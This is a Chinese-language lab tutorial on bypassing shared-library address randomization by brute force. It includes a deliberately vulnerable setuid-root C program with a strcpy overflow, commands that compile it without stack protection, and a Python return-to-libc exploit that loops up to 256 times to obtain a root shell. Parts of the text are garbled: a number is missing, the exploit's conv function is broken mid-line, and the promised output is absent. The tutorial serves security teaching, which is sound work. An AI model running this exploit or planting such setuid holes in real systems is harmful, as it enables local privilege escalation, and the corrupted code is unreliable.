7.1 实验环境
VM 配置:Ubuntu 12.04 (x86)
7.2 实验原理
什么是爆破?
使用爆破技巧,来绕过共享库地址随机化。
7.3 实验过程
7.3.1 漏洞代码
//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buf[256]; strcpy(buf, argv[1]); printf("%s\n", buf); fflush(stdout); return 0; }
7.3.2 编译程序
ASLR 要为开启状态。
#sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space" gcc -g -fno-stack-protector -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln
使用 ldd 命令可以看到在 ASLR 开启的情况下,每次 glibc 的基址是随机的:
但是,我们可以发现其中的相同点,也就是说,libc 的随机化只能反映在 2 个十六进制位(即 8 个二进制位上),因此我们可以通过最多 次尝试,命中它的真实地址,从而获得 root shell。
7.3.3 进行攻击
攻击代码如下:
#exp.py #!/usr/bin/env python import struct from subprocess import call libc_base_addr = 0xb7595000 exit_off = 0x00032be0 system_off = 0x0003f060 system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off system_arg = 0x804827d def conv(num): return struct.pack ( "<I" , numystem + exit + system_arg buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(system_arg) print "Calling vulnerable program" i = 0 while ( i < 256 ) : print "Number of tries : %d " % i i += 1 ret = call ( [ "./vuln" , buf ] ) if ( not ret ) : break else : print " Exploit failed "
执行结果:
共会产生255个输出,进行部分截取: